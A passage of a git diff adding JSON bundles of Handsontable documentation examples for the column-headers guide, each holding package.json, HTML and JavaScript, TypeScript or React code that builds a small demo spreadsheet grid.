    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ],\n colHeaders: ['ID', 'Full name', 'Position', 'Country', 'City', 'Address', 'Zip code', 'Mobile', 'E-mail'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example2.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example2","exampleTitle":"Header labels as an array","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example2.ts.json new file mode 100644 index 00000000..1b9d2d1f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Header labels as an array · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3'],\n ],\n colHeaders: ['ID', 'Full name', 'Position', 'Country', 'City', 'Address', 'Zip code', 'Mobile', 'E-mail'],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example2.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example2","exampleTitle":"Header labels as an array","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example3.js.json new file mode 100644 index 00000000..f006f26d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Header labels as a function · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3'],\n ],\n colHeaders(index) {\n return `Col ${index + 1}`;\n },\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example3.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example3","exampleTitle":"Header labels as a function","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example3.ts.json new file mode 100644 index 00000000..00b33058 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Header labels as a function · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1', 'E1', 'F1', 'G1', 'H1', 'I1', 'J1', 'K1'],\n ['A2', 'B2', 'C2', 'D2', 'E2', 'F2', 'G2', 'H2', 'I2', 'J2', 'K2'],\n ['A3', 'B3', 'C3', 'D3', 'E3', 'F3', 'G3', 'H3', 'I3', 'J3', 'K3'],\n ],\n colHeaders(index) {\n return `Col ${index + 1}`;\n },\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example3.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example3","exampleTitle":"Header labels as a function","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example4.js.json new file mode 100644 index 00000000..0a9c3e5d --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Customize column headers · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1'],\n ['A2', 'B2', 'C2'],\n ['A3', 'B3', 'C3'],\n ],\n colHeaders: true,\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n headerClassName: 'htCenter',\n columns: [{ headerClassName: 'htRight' }, { headerClassName: 'htLeft' }, {}],\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example4.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example4","exampleTitle":"Customize column headers","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example4.ts.json new file mode 100644 index 00000000..cf8c5909 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Customize column headers · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1'],\n ['A2', 'B2', 'C2'],\n ['A3', 'B3', 'C3'],\n ],\n colHeaders: true,\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n headerClassName: 'htCenter',\n columns: [{ headerClassName: 'htRight' }, { headerClassName: 'htLeft' }, {}],\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example4.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example4","exampleTitle":"Customize column headers","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example5.js.json new file mode 100644 index 00000000..1e143d55 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example5.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Customize column headers (2) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5');\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1'],\n ['A2', 'B2', 'C2', 'D2'],\n ['A3', 'B3', 'C3', 'D3'],\n ],\n colHeaders: true,\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n headerClassName: 'htLeft',\n columns: [\n { headerClassName: 'italic-text' },\n { headerClassName: 'bold-text italic-text' },\n { headerClassName: 'htRight bold-text italic-text' },\n {},\n ],\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":".bold-text {\n font-weight: bold;\n}\n\n.italic-text {\n font-style: italic;\n}"},"docsPath":"guides/columns/column-header/javascript/example5.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example5","exampleTitle":"Customize column headers (2)","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example5.ts.json new file mode 100644 index 00000000..be49095e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example5.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Customize column headers (2) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\nconst hot = new Handsontable(container, {\n data: [\n ['A1', 'B1', 'C1', 'D1'],\n ['A2', 'B2', 'C2', 'D2'],\n ['A3', 'B3', 'C3', 'D3'],\n ],\n colHeaders: true,\n rowHeaders: true,\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n headerClassName: 'htLeft',\n columns: [\n { headerClassName: 'italic-text' },\n { headerClassName: 'bold-text italic-text' },\n { headerClassName: 'htRight bold-text italic-text' },\n {},\n ],\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".bold-text {\n font-weight: bold;\n}\n\n.italic-text {\n font-style: italic;\n}"},"docsPath":"guides/columns/column-header/javascript/example5.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example5","exampleTitle":"Customize column headers (2)","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example6.js.json new file mode 100644 index 00000000..528ef622 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example6.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Header labels in the columns option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example6');\nnew Handsontable(container, {\n data: [\n [1, 'Ana García', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernández', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n // Set each column header label with the `title` option inside `columns`.\n columns: [\n { title: 'ID' },\n { title: 'Full name' },\n { title: 'Position' },\n { title: 'Country' },\n { title: 'Start date' },\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example6.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example6.ts.json new file mode 100644 index 00000000..961df576 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example6.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Header labels in the columns option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n data: [\n [1, 'Ana García', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernández', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n // Set each column header label with the `title` option inside `columns`.\n columns: [\n { title: 'ID' },\n { title: 'Full name' },\n { title: 'Position' },\n { title: 'Country' },\n { title: 'Start date' },\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example6.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example7.js.json new file mode 100644 index 00000000..060e3aac --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example7.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column headers · Column header height · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example7');\nnew Handsontable(container, {\n data: [\n [1, 'Ana Garcia', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernandez', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n colHeaders: ['Employee ID', 'Employee full name', 'Current job title', 'Country of residence', 'Employment start date'],\n rowHeaders: true,\n colWidths: [100, 130, 130, 130, 130],\n columnHeaderHeight: 50,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example7.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example7.ts.json new file mode 100644 index 00000000..377abfc8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__javascript__example7.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column headers · Column header height · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example7')!;\n\nnew Handsontable(container, {\n data: [\n [1, 'Ana Garcia', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernandez', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n colHeaders: ['Employee ID', 'Employee full name', 'Current job title', 'Country of residence', 'Employment start date'],\n rowHeaders: true,\n colWidths: [100, 130, 130, 130, 130],\n columnHeaderHeight: 50,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example7.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example1.tsx.json new file mode 100644 index 00000000..d631e895 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-header__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column headers · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
